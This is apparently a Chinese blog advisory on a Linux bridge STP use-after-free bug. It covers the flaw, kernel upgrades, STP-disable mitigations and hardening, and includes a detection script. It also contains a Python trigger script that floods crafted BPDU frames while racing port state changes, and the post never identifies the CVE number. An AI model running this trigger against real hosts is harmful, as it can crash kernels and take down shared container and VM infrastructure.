一、先说结论
Linux 网桥(bridge)是虚拟化、容器和 SDN 的基石,而 STP(生成树协议)是网桥防环的标配。CVE 编号下的网桥 STP UAF(Use-After-Free,释放后使用)漏洞,让攻击者通过构造特定 STP 报文就能触发内核内存错误,轻则内核崩溃(DoS),重则提权到 root。
本文给你四样东西:UAF 漏洞的原理剖析、可复现的 PoC 思路、批量检测脚本、一套内核加固方案。云平台、容器平台和网络设备运维直接照着做。
二、问题本质:STP 处理路径上的释放后使用
2.1 网桥和 STP 是什么
- 网桥:Linux 内核里把多个网络接口"桥接"成一个二层交换机
- STP:生成树协议,通过 BPDU(桥协议数据单元)报文选举根桥、阻塞冗余端口,防止二层环路
2.2 UAF 漏洞的本质
UAF 是"内存被释放后仍然被引用"。在 STP 处理路径上,典型场景:
flowchart TD A[收到 STP BPDU 报文] --> B[内核解析 BPDU] B --> C[分配/引用端口结构体] C --> D{端口状态变更} D -->|并发/异常路径| E[结构体被释放] E --> F[后续代码仍访问该指针] F --> G[UAF: 读已释放内存] G --> H[内核崩溃/提权]
简单说:内核在处理 STP 报文时,某个端口相关的结构体在释放之后还被后续代码访问,攻击者通过精心构造的报文序列,就能让内核访问到已被释放(甚至被重新分配)的内存。
2.3 攻击前提与影响
- 攻击前提:攻击者能向网桥端口发送二层报文(同一二层网络即可,无需登录)
- 容器/虚拟机逃逸(如果网桥承载容器或 VM 流量)
三、PoC 复现:触发 UAF 的思路
3.1 复现环境
# 创建测试网桥(需要 root,隔离环境)ip link add name br0 type bridgeip link set br0 up# 添加端口ip link add name veth0 type veth peer name veth1ip link set veth0 master br0ip link set veth0 up
3.2 触发思路(概念 PoC)
UAF 的触发通常需要并发 + 状态变更。核心思路:
- 同时反复变更端口状态(up/down、加入/移出网桥)
Python 概念验证脚本(仅演示触发逻辑):
#!/usr/bin/env python3# stp_uaf_trigger.py - 概念验证:触发网桥 STP 处理路径# 仅用于隔离测试环境验证,勿在生产环境运行import socketimport structimport threadingimport timeimport subprocess# STP BPDU 报文构造(IEEE 802.1D)def build_bpdu():# LLC 头 llc = struct.pack(”!3s”, b”\x42\x42\x03”)# BPDU 头 bpdu = struct.pack(”!HBB”, 0, 0, 0)# protocol_id, version, type bpdu += struct.pack(”!B”, 0)# flags bpdu += struct.pack(”!Q”, 0x8000)# root_id bpdu += struct.pack(”!I”, 0)# root_path_cost bpdu += struct.pack(”!Q”, 0x8000)# bridge_id bpdu += struct.pack(”!H”, 0)# port_id bpdu += struct.pack(”!H”, 0)# message_age bpdu += struct.pack(”!H”, 0)# max_age bpdu += struct.pack(”!H”, 0)# hello_time bpdu += struct.pack(”!H”, 0)# forward_delay return llc + bpdudef send_bpdu():# 原始套接字发送(需要 root) s = socket.socket(socket.AF_PACKET, socket.SOCK_RAW) s.bind((”veth1”, 0)) frame = build_bpdu()# 目标 MAC 为 STP 组播地址 01:80:c2:00:00:00 dst = bytes.fromhex(”0180c2000000”) src = bytes.fromhex(”020000000001”) eth = dst + src + struct.pack(”!H”, 0x0003)# LLC 长度字段 while True: s.send(eth + frame) time.sleep(0.01)def toggle_port():# 并发变更端口状态 while True: subprocess.run([”ip”, ”link”, ”set”, ”veth0”, ”down”]) time.sleep(0.05) subprocess.run([”ip”, ”link”, ”set”, ”veth0”, ”up”]) time.sleep(0.05)if __name__ == ”__main__”: t1 = threading.Thread(target=send_bpdu) t2 = threading.Thread(target=toggle_port) t1.start() t2.start() t1.join()
注意:这个脚本只演示触发路径,真实利用需要结合内核利用技术。在隔离测试环境验证,切勿在生产环境运行。
四、批量检测:扫描你的主机
4.1 内核版本检测
#!/bin/bash# stp_uaf_check.sh - 网桥 STP UAF 漏洞批量检测echo ”[*] 网桥 STP UAF 漏洞检测 $(date)”RISK=0# 1. 检查内核版本echo ””echo ”[1] 内核版本:”uname -recho ” [*] 发行版:”cat /etc/os-release 2>/dev/null | grep -E ”^(NAME|VERSION)=”# 2. 检查网桥模块echo ””echo ”[2] 网桥模块状态:”lsmod | grep -E ”^bridge” || echo ” [*] 网桥模块未加载”modinfo bridge 2>/dev/null | grep -E ”^(version|vermagic)”# 3. 检查是否启用 STPecho ””echo ”[3] 网桥 STP 状态:”for br in $(ls /sys/class/net/ | grep -E ”br|bridge”); do stp=$(cat /sys/class/net/$br/bridge/stp_state 2>/dev/null) echo ” [*] $br STP状态: $stp (0=关闭, 1=开启)” if [ ”$stp” = ”1” ]; then echo ” [!] $br 启用了 STP,需确认内核是否已打补丁” RISK=$((RISK+1)) fidone# 4. 检查补丁状态echo ””echo ”[4] 内核补丁状态:”# 检查内核是否包含修复(示例:检查符号或版本)if grep -q ”stp” /proc/kallsyms 2>/dev/null; then echo ” [*] 内核包含 STP 相关符号”fi# 5. 检查运行中的容器/VM 是否依赖网桥echo ””echo ”[5] 网桥使用情况:”ip link show type bridge 2>/dev/nulldocker network ls 2>/dev/null | grep -i bridgeecho ””if [ $RISK -gt 0 ]; then echo ”[!] 发现 $RISK 处风险,建议升级内核” exit 1else echo ”[+] 未发现明显风险” exit 0fi
4.2 批量扫描多台主机
#!/bin/bash# batch_scan.sh - 批量检测多台主机HOSTS=”host1 host2 host3”for h in $HOSTS; do echo ”=== $h ===” ssh $h ”uname -r; lsmod | grep bridge” 2>/dev/nulldone
五、加固方案
5.1 立即处置
# 1. 升级内核(首选)# Ubuntu/Debiansudo apt update && sudo apt upgrade linux-image-generic# RHEL/CentOSsudo yum update kernel# 2. 重启生效sudo reboot# 3. 若无法立即升级,临时缓解:关闭不需要的 STP# 对不需要 STP 的网桥关闭echo 0 > /sys/class/net/br0/bridge/stp_state# 或ip link set br0 type bridge stp_state 0
5.2 长期加固
1. 关闭不需要的网桥和 STP:
# 只保留必要的网桥,关闭 STPip link set br0 type bridge stp_state 0# 移除不需要的网桥ip link del br0
2. 内核参数加固(/etc/sysctl.d/99-net-hardening.conf):
# 限制网络栈相关net.bridge.bridge-nf-call-iptables = 1net.bridge.bridge-nf-call-ip6tables = 1# 开启内核防护kernel.kptr_restrict = 2kernel.dmesg_restrict = 1kernel.unprivileged_bpf_disabled = 1
3. 容器/VM 网络隔离:
# 使用 macvlan/ipvlan 替代共享网桥(如业务允许)# 或使用 ovs 并开启安全组
4. 监控:
# 监控内核崩溃journalctl -k | grep -iE ”BUG:|oops|panic|use-after-free”# 监控网桥异常auditctl -w /sys/class/net -pwa -knet_change
六、避坑指南
- 别只关 STP 不升级:STP 关闭只是缓解,内核补丁才是根治。
- 别忽略容器场景:容器网络大量依赖网桥,容器逃逸风险同样存在。
- 别在生产环境跑 PoC:UAF 触发极易导致内核崩溃,务必隔离测试。
- 别只看内核版本:发行版会 backport 补丁,以官方安全公告为准。
- 别忘重启:内核升级后必须重启,
uname -r 确认新内核生效。
七、总结与下一步
网桥 STP UAF 的本质是内核在 STP 处理路径上对已释放内存的引用,攻击者通过构造报文序列触发。防御的核心是:及时升级内核 + 关闭不需要的 STP + 网络隔离 + 崩溃监控。
现在就能做的 1 个动作:跑一遍 stp_uaf_check.sh,确认你的主机内核是否在受影响范围。
金句:二层网络是攻击者最容易触达的边界——网桥上的每个报文,都可能是内核的催命符。
互动问题:
- 你的生产环境网桥开了 STP 吗?知道为什么开吗?
- 除了网桥,你还关注过 Linux 内核哪些网络栈漏洞?